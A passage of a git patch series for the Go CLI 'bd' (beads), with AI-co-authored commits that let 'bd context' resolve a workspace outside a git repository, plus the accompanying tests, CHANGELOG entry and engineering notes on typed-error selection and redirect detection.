server mode ran on the built-in 10-connection pool +// whatever the knob said — the hole #6144 found for the pool deadlines. Each +// subtest follows the knob through applyPoolLimits to the *sql.DB it actually +// sizes. +func TestApplyConfigDefaultsAppliesPoolSizeLadder(t *testing.T) { + poolSize := func(t *testing.T, cfg *Config) int { + t.Helper() + db, _ := openMockDB(t) + t.Cleanup(func() { _ = db.Close() }) + applyPoolLimits(db, cfg) + return db.Stats().MaxOpenConnections + } + + t.Run("env var sizes the pool on the constructor path", func(t *testing.T) { + t.Setenv("BEADS_DOLT_MAX_CONNS", "3") + cfg := &Config{ServerMode: true, Database: "ladder", Path: t.TempDir()} + + applyConfigDefaults(cfg) + + if cfg.MaxOpenConns != 3 { + t.Fatalf("MaxOpenConns = %d, want 3 from BEADS_DOLT_MAX_CONNS", cfg.MaxOpenConns) + } + if got := poolSize(t, cfg); got != 3 { + t.Fatalf("pool MaxOpenConnections = %d, want 3", got) + } + }) + + t.Run("caller-set pool size wins over the env var", func(t *testing.T) { + t.Setenv("BEADS_DOLT_MAX_CONNS", "3") + cfg := &Config{ServerMode: true, Database: "ladder", Path: t.TempDir(), MaxOpenConns: 1} + + applyConfigDefaults(cfg) + + if cfg.MaxOpenConns != 1 { + t.Fatalf("MaxOpenConns = %d, want the caller's 1", cfg.MaxOpenConns) + } + }) + + t.Run("unset knob leaves the built-in default in place", func(t *testing.T) { + t.Setenv("BEADS_DOLT_MAX_CONNS", "") + config.ResetForTesting() // the config.yaml rung reads package state, not just env + t.Cleanup(config.ResetForTesting) + cfg := &Config{ServerMode: true, Database: "ladder", Path: t.TempDir()} + + applyConfigDefaults(cfg) + + if cfg.MaxOpenConns != 0 { + t.Fatalf("MaxOpenConns = %d, want 0 so applyPoolLimits applies its default", cfg.MaxOpenConns) + } + if got := poolSize(t, cfg); got != defaultMaxOpenConns { + t.Fatalf("pool MaxOpenConnections = %d, want the default %d", got, defaultMaxOpenConns) + } + }) + + t.Run("config.yaml sizes the pool on the constructor path", func(t *testing.T) { + // Same premise as the deadline subtest above: with a populated global + // viper the dir-fallback rung under test is not the one answering. + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + if config.GetString("dolt.max-conns") != "" { + t.Fatal("global viper unexpectedly configured; this subtest's premise is broken") + } + t.Setenv("BEADS_DOLT_MAX_CONNS", "") + beadsDir := t.TempDir() + if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte("dolt:\n max-conns: 25\n"), 0o644); err != nil { + t.Fatalf("writing config.yaml: %v", err) + } + cfg := &Config{ServerMode: true, Database: "ladder", Path: t.TempDir(), BeadsDir: beadsDir} + + applyConfigDefaults(cfg) + + if cfg.MaxOpenConns != 25 { + t.Fatalf("MaxOpenConns = %d, want 25 from config.yaml", cfg.MaxOpenConns) + } + if got := poolSize(t, cfg); got != 25 { + t.Fatalf("pool MaxOpenConnections = %d, want 25", got) + } + }) +} diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index 2ef184647..c05633734 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -1713,10 +1713,10 @@ func applyConfigDefaults(cfg *Config) { if cfg.RemotePassword == "" { cfg.RemotePassword = os.Getenv("DOLT_REMOTE_PASSWORD") } - // Pool deadlines last: every DoltStore open (the CLI's store and library - // callers of New/NewFromConfig*) reaches New, so the knob ladder holds + // Pool knobs last: every DoltStore open (the CLI's store and library + // callers of New/NewFromConfig*) reaches New, so the knob ladders hold // here regardless of how cfg was built. - applyPoolTimeouts(cfg) + applyPoolKnobs(cfg) } // New creates a new Dolt storage backend. From 1cc19040af1fdbc193bc4c590eda1962e67b6f32 Mon Sep 17 00:00:00 2001 From: Harry Miller Date: Thu, 1 Oct 2026 07:08:12 -0700 Subject: [PATCH 036/325] fix(context): resolve from .beads when outside a git repository (#4772) (#4792) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(context): resolve from .beads when outside a git repository `bd context` is documented to read directly from config files and work "in degraded states", but it hard-failed with "cannot determine repository root: not a git repository" whenever the working directory wasn't inside a git repo — even with a valid, discoverable .beads/ present. Consumers that use `bd context --json` as a health/identity probe got a false "unreachable" in healthy non-git scopes (GH#4772). When GetRepoContext returns the repo-root error, a boundary-checked .beads directory has already been found and the only missing piece is the git repo root. Fall back to the .beads parent as the repo root and continue, so backend identity still resolves from config. Only this specific error triggers the fallback; "no .beads directory found" and unsafe-location errors still surface as before. Adds an embedded regression subtest that removes .git from a workspace and asserts `bd context --json` still resolves (backend/beads_dir populated, no error). Verified end-to-end: reproduced the exact "cannot determine repository root" error pre-fix; post-fix reports backend=dolt. Co-Authored-By: Claude Opus 4.8 (1M context) * fix(context): select the no-git fallback by type, and cover both routes Review follow-up on the GH#4772 fix. The fallback was selected with strings.Contains(err.Error(), "cannot determine repository root"). buildRepoContext's other failure — the SEC-003 unsafe-location rejection — embeds the offending path verbatim in its message, so the discriminator was controlled by the path being rejected: a workspace whose path contained the probe phrase would take the fallback and have its unsafe-location error cleared. Replace it with a typed error. buildRepoContext now returns *beads.NoRepoRootError, carrying the .beads directory that has already cleared the found + safe-boundary checks — which is exactly what makes recovering from this one failure safe, and removes the need to re-derive it with a second FindBeadsDir call. The message text is unchanged. The recovery itself moves into beads.GetRepoContextAllowingNoGit, so both `bd context` routes share it: the direct one in context_cmd.go and the proxied one, whose provider (domain/fs contextRepositoryImpl RepoContext + Role) propagated GetRepoContext's error unchanged and so still failed outside git. Callers that actually run git commands keep using GetRepoContext, so a missing repository stays an error where it matters. Tests: - Discriminator regression: an unsafe-location error built with a hostile path still matches the old substring test but does NOT satisfy errors.As for *NoRepoRootError. - GetRepoContextAllowingNoGit resolves a non-git workspace (BeadsDir, RepoRoot = .beads parent, empty CWDRepoRoot) while GetRepoContext still refuses. - The embedded regression now decodes ContextInfo and asserts exact beads_dir, repo_root, backend, bd_version and is_worktree instead of probing for a key name (fields are not omitempty, so an empty or wrong value passed before). - Same assertions added for the proxied route. - ngDir -> nonGitDir. Co-Authored-By: Claude Opus 5 (1M context) * fix(context): report the redirect on the no-git path, and test the discriminator Two blocking items. B1. The synthesized context left IsRedirected at its zero value, so a workspace reached via BEADS_DIR from a non-git working directory denied being redirected, and Role() withheld the Contributor that "BEADS_DIR implies contributor (external repo mode)" promises. That contradicts the field's own contract two screens up in the same file, and a probe sold as a health/identity check giving the wrong identity is a worse failure than the error it replaced. The normal path's answer is genuinely unavailable here: isExternalBeadsDir compares git COMMON DIRS, and the CWD side of that comparison cannot be computed without a repository — which is exactly the state this branch serves. An explicitly-set BEADS_DIR is the only evidence left, and it is the same signal FindBeadsDir's step 1 used to choose the directory, so the fallback now mirrors that condition. A .beads found by the working-directory walk still reports false. IsWorktree stays false, with a comment saying why rather than by omission. B2. TestNoRepoRootError_DoesNotMatchUnsafeLocation never called the selection. Asking errors.As about two hand-built values tests the standard library, and passes whatever discriminator this package actually uses — which the reviewer demonstrated by swapping the typed check for the substring test the test is named after and watching it stay green. The selection is now recoverNoGit(rc, err), split out of GetRepoContextAllowingNoGit, and the test drives it: the unsafe-location error must come back out unchanged, and so must the no-.beads error and a successful context. Under the reviewer's probe B it now fails, naming the context the substring version wrongly recovered. Nits, taken: N1. NoRepoRootError's doc claimed the workspace "is not inside a git repo". It means git could not tell us a root: GetMainRepoRoot bottoms out in one `git rev-parse`, so a dangling gitfile, a dubious-ownership refusal or git missing from PATH all arrive the same way. Recovery is equally safe in all of them, but the command whose pitch is diagnostics in degraded states should not swallow the fact — printContextText now prints `cwd repo: git: unavailable` instead of nothing, which is the text-output counterpart of the omitted JSON field. N2. The comment on fs/context.go claimed there is no `git config beads.role` to read outside a repo. `git config --get` reads global and system config with no repository; I hit it by accident running the probe above, where Role() returned "maintainer" from my own ~/.gitconfig. Comment corrected — the behavior was fine. N3. CHANGELOG [Unreleased] entry citing #4772, and a "Resolving Without Git" section in engdocs/REPO_CONTEXT.md — the reference for this module, which documented the boundary validation and the IsRedirected semantics B1 bends but neither the new entry point nor the no-git case. It carries the typed-selection rationale and a table of what the synthesized context can and cannot know. N4 (allocation) noted and left: correctness first, and two allocations on a config-reading path is not worth a cache whose invalidation would be a new thing to get wrong. Reported-by: bee-ghosttrack Agent-Signature: claude-code-opus-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5 (1M context) * fix(context): ask the caller's BEADS_DIR, not the one bd exported for itself Round-2 blocker, and an embarrassing one: this is the same provenance bug I fixed in #4795 an hour earlier, reintroduced one layer up. beadsDirNamedByEnv read os.Getenv("BEADS_DIR") live. By the time recoverNoGit runs, bd has already exported one: cmd/bd/context_cmd.go:75 calls prepareSelectedNoDBContext(selected) immediately before GetRepoContextAllowingNoGit, and that ends in os.Setenv("BEADS_DIR", ...) with whatever discovery just found. The proxied route arrives the same way through the root pre-run. So on the no-git path EVERY walk-found workspace reported itself as a redirect and claimed Contributor — the opposite of the Round-1 bug, and worse, because it is the common case rather than the unusual one. Reproduced against the built binary: $ cd $T/proj/sub && env -u BEADS_DIR bd context --json "is_redirected": true, "role": "contributor" ← no BEADS_DIR anywhere internal/beads now takes the same package-init snapshot package main does, for the same reason: provenance has to be captured before the process starts overwriting the evidence. beadsDirNamedByCaller compares against that. Two things worth recording while I was in there. First, a redirect FILE cannot be missed by this branch: buildRepoContext checks GetRedirectInfo() at step 3, and a redirect sends it down the isExternal branch that never asks git for a root — so by construction the only redirect this code can be looking at is a caller-named BEADS_DIR. That is now a comment rather than an assumption. Second, the unit tests passed through the bug because they drive recoverNoGit directly with an env they set themselves, which is exactly the distinction that cannot be tested in process. So the regression is end-to-end, on both routes, as asked: - assertNonGitContext (shared by the embedded and proxied route tests) now asserts is_redirected == false for the walk-found case. Reverting the fix: "is_redirected should be false for a .beads found by the working-directory walk". - a new embedded subtest runs the binary from an unrelated directory with BEADS_DIR supplied in the subprocess environment — the only place a caller-supplied value is distinguishable from a bd-exported one — and asserts is_redirected == true AND role == contributor. N1: the `cwd repo: git: unavailable` line was unpinned (their probe P3 deleted the branch and every -run Context test stayed green). TestPrintContextText_* now pins all three cases: empty CWD repo root reports git unavailable, a matching one prints nothing, a differing one prints the path and must NOT say unavailable. Deleting the branch now fails. Kept as an in-process capture rather than another subprocess, since cmd/bd has no runtime budget to spare (GH#6253). N2: filed as GH#6560 — and my attribution on the PR thread was wrong. It is not a legacy ~/.beads/config.yaml (I have none); it is BEADS_ACTOR in the environment, which resolveConfiguredActor deliberately checks ahead of config.yaml as the fix for GH#4645. `env -u BEADS_ACTOR` makes both tests pass. Reported-by: bee-ghosttrack Agent-Signature: claude-code-opus-5-unknown-reasoning on behalf of Harry Miller Co-Authored-By: Claude Opus 5 (1M context) * chore(bazel): enumerate the PR's two new test files in go_test srcs Pre-review CI repair for PR #4792. The helper reads CI Readiness: pass, but those nine green runs were created 2026-09-23 against the contributor head 961aa6239 -- before this branch was rebased onto 8269a88cb, an advance that brings in the entire Bazel scaffold (.bazelrc, .bazelignore, .github/actions/setup-bazel). So the green cohort predates the Bazel lanes entirely and cannot certify them; the adopted head has never been seen by CI. Both affected packages declare go_test srcs as an EXPLICIT list, not a glob, so the PR's two added test files were invisible to bazel: cmd/bd/BUILD.bazel + "context_text_test.go" internal/beads/BUILD.bazel + "no_repo_root_test.go" Base parity puts the obligation on this PR rather than on base: neither file exists at the rebase base, so neither row could have been owed there. The failure mode is a FAKE GREEN, not a red, which is why no check caught it. Measured on //internal/beads:beads_test: with the row, bazel runs TestGetRepoContextAllowingNoGit_RecoversOutsideGitRepo (rc=0). With the row removed, the target still exits 0 -- and that test never runs. A silently unexecuted regression test is exactly what this enumeration prevents. Generated by the repository's own `make bazel-sync` (gazelle); the rows are placed alphabetically, the diff is +1/-0 per file, and a second sync is a no-op. * fix(context): root the no-git context at the .beads repo and decide redirects positionally Maintainer review fixups for the two gating findings on the no-git recovery path, plus the nearby non-gating cleanups. Finding 1 (major) -- recoverNoGit rooted repo_root at filepath.Dir(BeadsDir), but the failure that reaches it is the CWD's missing repository, not the .beads's. A .beads that did live inside a repo therefore reported a SUBDIRECTORY of that repo, so one workspace answered differently depending only on where the caller stood. Root via repoRootForBeadsDir, which asks git from the .beads side (needing no CWD repo) and already falls back to filepath.Dir(beadsDir), so the documented no-git-anywhere answer is unchanged. The conflated premise is corrected in the field comment and in engdocs/REPO_CONTEXT.md. Finding 2 (major) -- the provenance snapshot was captured at package init and covered only BEADS_DIR, but bd has four caller-directed workspace channels: --db, BEADS_DB/BD_DB and -C all resolve through selectedNoDBBeadsDir and end in an os.Setenv("BEADS_DIR", ...) that runs after init, so the snapshot could not see them and they reported is_redirected:false / role:maintainer outside git. Decide externality POSITIONALLY instead: the resolved .beads is a redirect iff discovery standing in the CWD would not have found it. This is the reviewer's preferred arm -- it needs no environment inventory, so it covers all four channels uniformly and stays correct as channels are added (a further BEADS_DIR writer already exists in cmd/bd/doctor.go). It reuses FindBeadsDirFrom, the same primitive -C itself resolves through, which reads none of the routing variables and scrubs routing env from its git probe. The package-init snapshot and its helper are removed. The boundary the review left unspecified is settled deliberately: a store reachable only by being named is a redirect, including one in a sibling directory of the CWD, because with no repository for the CWD there is no enclosing scope that could make a sibling local. Finding 3 (minor) -- TestGetRepoContextAllowingNoGit_RecoversOutsideGitRepo now scrubs BEADS_DIR, which takes priority at FindBeadsDir step 1. Measured: three assertions fail under an ambient BEADS_DIR without the scrub and the package is ok with it. The remedy's second part (stubbing the init snapshot) is obsolete rather than skipped -- positional provenance reads no snapshot, so there is nothing left to stub. Findings 4 and 5 (nits) -- the beadsDirFromCaller / GH#4635 cross-reference resolved to nothing at head or at base; it is gone along with the snapshot it described. The CWDRepoRoot comment now states the value is known-empty because the one cached git context its three readers share has already failed, which is also a firmer justification for IsWorktree: false than "there is none". Verification: both majors are pinned by new tests proven to red when the fix is reverted, and measured end to end with a built binary from a non-git cwd -- BEADS_DIR, BEADS_DB, BD_DB, --db and -C all now report is_redirected:true / role:contributor, while a walk-discoverable workspace correctly reports false / maintainer. Contributor commits are preserved. --------- Co-authored-by: Claude Opus 4.8 (1M context) Co-authored-by: Gas City Adopt-PR --- CHANGELOG.md | 30 ++ cmd/bd/BUILD.bazel | 1 + cmd/bd/context_cmd.go | 11 +- cmd/bd/context_embedded_test.go | 132 ++++++++ cmd/bd/context_proxied_integration_test.go | 26 ++ cmd/bd/context_text_test.go | 95 ++++++ engdocs/REPO_CONTEXT.md | 39 +++ internal/beads/BUILD.bazel | 1 + internal/beads/context.go | 145 ++++++++- internal/beads/no_repo_root_test.go | 355 +++++++++++++++++++++ internal/storage/domain/fs/context.go | 13 +- 11 files changed, 844 insertions(+), 4 deletions(-) create mode 100644 cmd/bd/context_text_test.go create mode 100644 internal/beads/no_repo_root_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 830a122ef..f61dd857f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -174,6 +174,36 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 (default 24h) controls how often the pause is re-announced. Manual `bd backup` / `bd backup sync` are not capped. +- **`bd context` resolves a workspace outside a git repository instead of + hard-failing** ([#4772](https://github.com/gastownhall/beads/issues/4772)). + The command's own help promises it "does not require the database to be open, + making it useful for diagnostics in degraded states", but it exited with + `cannot determine repository root` whenever the working directory was not + inside a git repo — even with a perfectly valid `.beads/` present — so + consumers using `bd context --json` as a health probe got a false + "unreachable" in healthy non-git scopes. + + `GetRepoContext()` finds and boundary-validates `.beads/` *before* it asks + git for a root, so that one failure means only that git is missing. It now + returns a typed `*beads.NoRepoRootError`, and `GetRepoContextAllowingNoGit()` + selects it with `errors.As` and roots the context at the `.beads` parent. + Typed rather than by message text on purpose: the SEC-003 unsafe-location + rejection embeds the offending path verbatim, so a substring test would let a + workspace under a hostile path clear its own security refusal. Every other + failure, that one included, propagates untouched. + + Scoped to the callers that only read config: `bd context` on both routes, and + the `domain/fs` context provider — which `bd serve` also resolves through, so + `bd serve` in a non-git directory with a valid `.beads/` now proceeds rather + than failing at context resolution. Anything that runs git commands still + uses `GetRepoContext()`. The synthesized context roots at the repository + containing the `.beads/` (falling back to its parent when git cannot be asked + there either) and decides `is_redirected` positionally — whether discovery + standing in the working directory would have found that `.beads/` — so + `--db`, `BEADS_DB`/`BD_DB` and `-C` are reported the same way `BEADS_DIR` is. + `bd context` also prints `cwd repo: git: unavailable` rather than silently + omitting the one degraded state it exists to report. + - **`bd comment`/`bd comments add` refuse an abbreviated id and a reserved word instead of silently resolving one to the wrong issue** ([#5393](https://github.com/gastownhall/beads/pull/5393)). `bd comment list diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 025fbfc20..886abb8b0 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -602,6 +602,7 @@ go_test( "context_identity_test.go", "context_proxied_integration_test.go", "context_test.go", + "context_text_test.go", "contributor_embedded_test.go", "contributor_routing_e2e_test.go", "cook_qnt_test.go", diff --git a/cmd/bd/context_cmd.go b/cmd/bd/context_cmd.go index 1c49d1355..3353f7213 100644 --- a/cmd/bd/context_cmd.go +++ b/cmd/bd/context_cmd.go @@ -75,7 +75,7 @@ Examples: prepareSelectedNoDBContext(selected) } - rc, err := beads.GetRepoContext() + rc, err := beads.GetRepoContextAllowingNoGit() if err != nil { if jsonOutput { if jerr := outputJSON(map[string]string{"error": fmt.Sprintf("cannot resolve repo context: %v", err)}); jerr != nil { @@ -164,6 +164,15 @@ func printContextText(info ContextInfo) { fmt.Printf(" repo root: %s\n", info.RepoRoot) if info.CWDRepoRoot != "" && info.CWDRepoRoot != info.RepoRoot { fmt.Printf(" cwd repo: %s\n", info.CWDRepoRoot) + } else if info.CWDRepoRoot == "" { + // The one degraded state this command exists to report, and the one + // it used to swallow. An empty CWD repo root means git answered + // nothing for the working directory — usually "not inside a repo", + // but also a dangling gitfile, a dubious-ownership refusal, or no git + // on PATH. Printing nothing here left the text output with no hint + // that anything was unusual, while --json callers could still infer + // it from the omitted field. + fmt.Printf(" cwd repo: %s\n", "git: unavailable") } if info.IsRedirected { fmt.Printf(" redirected: yes\n") diff --git a/cmd/bd/context_embedded_test.go b/cmd/bd/context_embedded_test.go index 3949e55b0..e49c11f44 100644 --- a/cmd/bd/context_embedded_test.go +++ b/cmd/bd/context_embedded_test.go @@ -3,12 +3,16 @@ package main import ( + "encoding/json" "fmt" "os" "os/exec" + "path/filepath" "strings" "sync" "testing" + + "github.com/steveyegge/beads/internal/configfile" ) func TestEmbeddedContext(t *testing.T) { @@ -45,6 +49,134 @@ func TestEmbeddedContext(t *testing.T) { t.Error("expected non-empty context --json output") } }) + + // bd context must resolve from a discoverable .beads directory even when + // the scope is not inside a git repository — git is a means of finding the + // repo root, not a hard requirement for this diagnostic (GH#4772). + t.Run("context_json_without_git_repo", func(t *testing.T) { + nonGitDir, _, _ := bdInit(t, bd, "--prefix", "ng") + if err := os.RemoveAll(filepath.Join(nonGitDir, ".git")); err != nil { + t.Fatalf("remove .git: %v", err) + } + + cmd := exec.Command(bd, "context", "--json") + cmd.Dir = nonGitDir + cmd.Env = bdEnv(nonGitDir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd context --json failed outside git repo: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + out := stdout.String() + + // Decode rather than probing for key names: ContextInfo's fields are + // not omitempty, so a wrong or empty beads_dir still emits the key. + var info ContextInfo + if jerr := json.Unmarshal([]byte(out), &info); jerr != nil { + t.Fatalf("decoding context JSON: %v\noutput:\n%s", jerr, out) + } + assertNonGitContext(t, info, nonGitDir) + }) + + // The other side of the same question, and the one that has to be driven + // through the real binary: only a subprocess has an environment the + // caller actually supplied. In-process tests stub the snapshot, so they + // cannot tell a caller-supplied BEADS_DIR from one bd exported for + // itself — which is exactly the distinction under test. + t.Run("context_json_without_git_repo_with_caller_beads_dir", func(t *testing.T) { + nonGitDir, _, _ := bdInit(t, bd, "--prefix", "nr") + if err := os.RemoveAll(filepath.Join(nonGitDir, ".git")); err != nil { + t.Fatalf("remove .git: %v", err) + } + beadsDir := filepath.Join(nonGitDir, ".beads") + + // Run from somewhere else entirely, so the only way this workspace + // can be found is the BEADS_DIR the caller sets here. + elsewhere := t.TempDir() + + cmd := exec.Command(bd, "context", "--json") + cmd.Dir = elsewhere + cmd.Env = append(bdEnv(nonGitDir), "BEADS_DIR="+beadsDir) + stdout, stderr, err := runCommandBuffers(t, cmd) + if err != nil { + t.Fatalf("bd context --json failed with a caller-supplied BEADS_DIR: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String()) + } + + var info ContextInfo + if jerr := json.Unmarshal([]byte(stdout.String()), &info); jerr != nil { + t.Fatalf("decoding context JSON: %v\noutput:\n%s", jerr, stdout.String()) + } + assertRedirectedNonGitContext(t, info, beadsDir) + }) +} + +// assertNonGitContext holds `bd context` to the exact answer it must give for +// a workspace at dir that is not inside a git repository: the workspace is +// identified from .beads, the repo root falls back to the .beads parent, and +// the backend still resolves from config. +// +// Paths are compared through EvalSymlinks because the test's temp dir is +// reported canonically (/private/var/... on macOS) by the binary under test. +func assertNonGitContext(t *testing.T, info ContextInfo, dir string) { + t.Helper() + + resolve := func(p string) string { + if r, err := filepath.EvalSymlinks(p); err == nil { + return r + } + return p + } + + wantBeadsDir := resolve(filepath.Join(dir, ".beads")) + if got := resolve(info.BeadsDir); got != wantBeadsDir { + t.Errorf("beads_dir = %q, want %q", info.BeadsDir, wantBeadsDir) + } + wantRepoRoot := resolve(dir) + if got := resolve(info.RepoRoot); got != wantRepoRoot { + t.Errorf("repo_root = %q, want %q (the .beads parent, since there is no git root)", info.RepoRoot, wantRepoRoot) + } + if info.Backend != configfile.BackendDolt { + t.Errorf("backend = %q, want %q — backend identity must still resolve from config", info.Backend, configfile.BackendDolt) + } + if info.BdVersion == "" { + t.Error("bd_version should be populated") + } + if info.IsWorktree { + t.Error("is_worktree should be false outside a git repository") + } + // The identity half, which is the reason a consumer runs this command. + // A workspace found by walking up from the working directory is NOT a + // redirect, and reporting one makes the probe lie about identity. bd + // exports a BEADS_DIR for itself just before resolving, so this assertion + // is what keeps the answer keyed to the caller's environment rather than + // the live one. + if info.IsRedirected { + t.Error("is_redirected should be false for a .beads found by the working-directory walk") + } +} + +// assertRedirectedNonGitContext is the other half: a workspace the CALLER +// named with BEADS_DIR is a redirect, and carries the Contributor role that +// RepoContext.Role() documents for external-repo mode — even with no git +// repository to compare against. +func assertRedirectedNonGitContext(t *testing.T, info ContextInfo, beadsDir string) { + t.Helper() + + resolve := func(p string) string { + if r, err := filepath.EvalSymlinks(p); err == nil { + return r + } + return p + } + + if got, want := resolve(info.BeadsDir), resolve(beadsDir); got != want { + t.Errorf("beads_dir = %q, want %q", info.BeadsDir, want) + } + if !info.IsRedirected { + t.Error("is_redirected should be true for a workspace the caller named with BEADS_DIR") + } + if info.Role != "contributor" { + t.Errorf("role = %q, want \"contributor\" — BEADS_DIR implies external repo mode", info.Role) + } } func TestEmbeddedContextConcurrent(t *testing.T) { diff --git a/cmd/bd/context_proxied_integration_test.go b/cmd/bd/context_proxied_integration_test.go index b14cd8dc9..5ee43d48b 100644 --- a/cmd/bd/context_proxied_integration_test.go +++ b/cmd/bd/context_proxied_integration_test.go @@ -4,6 +4,7 @@ package main import ( "encoding/json" + "os" "path/filepath" "strings" "sync" @@ -59,6 +60,31 @@ func TestProxiedServerContext(t *testing.T) { } }) + // The proxied route must survive a workspace outside git for the same + // reason the direct route does — its context provider reads config files + // only (GH#4772). This gets its own project because it removes .git, which + // the shared one's parallel subtests still need. + t.Run("json_without_git_repo", func(t *testing.T) { + t.Parallel() + np := newSharedProxiedProject(t, bd, "ctxng") + if err := os.RemoveAll(filepath.Join(np.dir, ".git")); err != nil { + t.Fatalf("remove .git: %v", err) + } + + stdout, stderr, err := bdProxiedRunBuffers(t, bd, np.dir, "context", "--json") + if err != nil { + t.Fatalf("bd context --json failed outside git repo: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + var info ContextInfo + if jerr := json.Unmarshal([]byte(stdout), &info); jerr != nil { + t.Fatalf("decoding context JSON: %v\noutput:\n%s", jerr, stdout) + } + assertNonGitContext(t, info, np.dir) + if info.DoltMode != configfile.DoltModeProxiedServer { + t.Errorf("dolt_mode = %q, want %q", info.DoltMode, configfile.DoltModeProxiedServer) + } + }) + t.Run("concurrent", func(t *testing.T) { t.Parallel() const numWorkers = 8 diff --git a/cmd/bd/context_text_test.go b/cmd/bd/context_text_test.go new file mode 100644 index 000000000..a031f0ac9 --- /dev/null +++ b/cmd/bd/context_text_test.go @@ -0,0 +1,95 @@ +package main + +import ( + "os" + "path/filepath" + "strings" + "testing" +) + +// captureContextText returns what printContextText writes to stdout. +func captureContextText(t *testing.T, info ContextInfo) string { + t.Helper() + + stdioMutex.Lock() + defer stdioMutex.Unlock() + + path := filepath.Join(t.TempDir(), "stdout") + f, err := os.Create(path) + if err != nil { + t.Fatalf("create stdout capture: %v", err) + } + + oldStdout := os.Stdout + func() { + defer func() { os.Stdout = oldStdout }() + os.Stdout = f + printContextText(info) + }() + + if err := f.Close(); err != nil { + t.Fatalf("close stdout capture: %v", err) + } + out, err := os.ReadFile(path) + if err != nil { + t.Fatalf("read stdout capture: %v", err) + } + return string(out) +} + +// The degraded state this command exists to report must survive into the TEXT +// output, not only into --json's omitted field. +// +// `cwd repo` printed only when it was non-empty AND different from the repo +// root, so an empty one — git answered nothing for the working directory — +// vanished from the human-readable output entirely. A JSON consumer could +// still infer it from the absent key; a person reading the output could not +// see that anything was unusual. +func TestPrintContextText_SaysWhenGitCouldNotAnswer(t *testing.T) { + out := captureContextText(t, ContextInfo{ + BdVersion: "test", + BeadsDir: "/ws/.beads", + RepoRoot: "/ws", + // Empty: no git root for the working directory. + CWDRepoRoot: "", + }) + + if !strings.Contains(out, "cwd repo:") { + t.Fatalf("text output says nothing about the working directory's repo:\n%s", out) + } + if !strings.Contains(out, "git: unavailable") { + t.Errorf("empty cwd repo root is not reported as git being unavailable:\n%s", out) + } +} + +// The two cases that must NOT gain the line: a CWD inside the same repository +// as the workspace (nothing worth saying), and one inside a different repo +// (the existing disclosure, which is a path and not a diagnosis). +func TestPrintContextText_CWDRepoRootCases(t *testing.T) { + t.Run("same repo prints no cwd repo line", func(t *testing.T) { + out := captureContextText(t, ContextInfo{ + BdVersion: "test", + BeadsDir: "/ws/.beads", + RepoRoot: "/ws", + CWDRepoRoot: "/ws", + }) + if strings.Contains(out, "cwd repo:") { + t.Errorf("cwd repo line printed when it matches the repo root:\n%s", out) + } + }) + + t.Run("different repo prints the path", func(t *testing.T) { + out := captureContextText(t, ContextInfo{ + BdVersion: "test", + BeadsDir: "/ws/.beads", + RepoRoot: "/ws", + CWDRepoRoot: "/other", + }) + if !strings.Contains(out, "cwd repo: /other") { + t.Errorf("cwd repo line missing the working directory's own repo root:\n%s", out) + } + if strings.Contains(out, "git: unavailable") { + t.Errorf("a resolvable cwd repo root must not be reported as unavailable:\n%s", out) + } + }) +} diff --git a/engdocs/REPO_CONTEXT.md b/engdocs/REPO_CONTEXT.md index 52ef4b93e..3d839eefb 100644 --- a/engdocs/REPO_CONTEXT.md +++ b/engdocs/REPO_CONTEXT.md @@ -125,6 +125,45 @@ $ bd dolt push | `IsRedirected` | True if BEADS_DIR points to different repo than CWD | | `IsWorktree` | True if CWD is in a git worktree | +## Resolving Without Git + +`GetRepoContext()` requires a git repository: it finds `.beads/`, validates the +path boundary, and only then asks git for a repository root. A workspace that +is located and boundary-checked but has no resolvable git root is therefore a +*known* workspace, not an unknown one — which is why it is the one failure that +is safe to recover from. + +`GetRepoContextAllowingNoGit()` is that recovery, for callers that only read +config files and are documented to answer in degraded states: `bd context` and +the `domain/fs` context provider behind the proxied route (which `bd serve` +also resolves through). Anything that actually runs git commands must keep +using `GetRepoContext()`, so a missing repository stays an error where it +matters. + +The selection is typed, deliberately. `buildRepoContext()` can fail three ways +— no `.beads/`, the SEC-003 unsafe-location rejection, and no git root — and +the unsafe-location message embeds the offending path verbatim. A substring +test over the message would therefore be a *path-controlled* discriminator: a +workspace under a path containing the probe phrase would take the fallback and +have its security rejection silently cleared. Only the third failure returns +`*NoRepoRootError`, and `errors.As` selects it. + +The synthesized context differs from a normal one in what it can know: + +| Field | Value without git | Why | +|-------|-------------------|-----| +| `RepoRoot` | the repository containing `.beads`, else the `.beads` parent | the missing git root is the **CWD's**, not the `.beads`'s, so git is still asked from the `.beads` side (`repoRootForBeadsDir`); only when that cannot answer either does it fall back to the parent | +| `CWDRepoRoot` | `""` | known-empty, not merely unanswered: `GetMainRepoRoot`, `GetRepoRoot` and `IsWorktree` share one cached git context, and reaching this path means that lookup already failed | +| `IsRedirected` | true iff discovery standing in the CWD would not have found the resolved `.beads` | `isExternalBeadsDir` compares git *common dirs* and the CWD side needs a repository, so externality is decided **positionally** instead. This covers all four caller-directed channels (`BEADS_DIR`, `--db`, `BEADS_DB`/`BD_DB`, `-C`) uniformly, where an environment inventory could not: bd rewrites `BEADS_DIR` for itself before resolving, so the variable cannot distinguish a workspace the caller named from one bd just discovered. A store reachable only by being named is a redirect — including one in a *sibling* directory of the CWD — which is what `Role()` means by "external repo mode" | +| `IsWorktree` | false | nothing to be a worktree of | + +`*NoRepoRootError` means "git could not tell us a root", which is broader than +"there is no repo": a dangling gitfile, a dubious-ownership refusal, or git +missing from `PATH` all arrive the same way. Recovery is equally safe in all of +them, but a caller reporting on the workspace should not claim to know which it +was — `bd context` prints `cwd repo: git: unavailable` rather than inventing a +reason. + ## Security ### Git Hooks Disabled diff --git 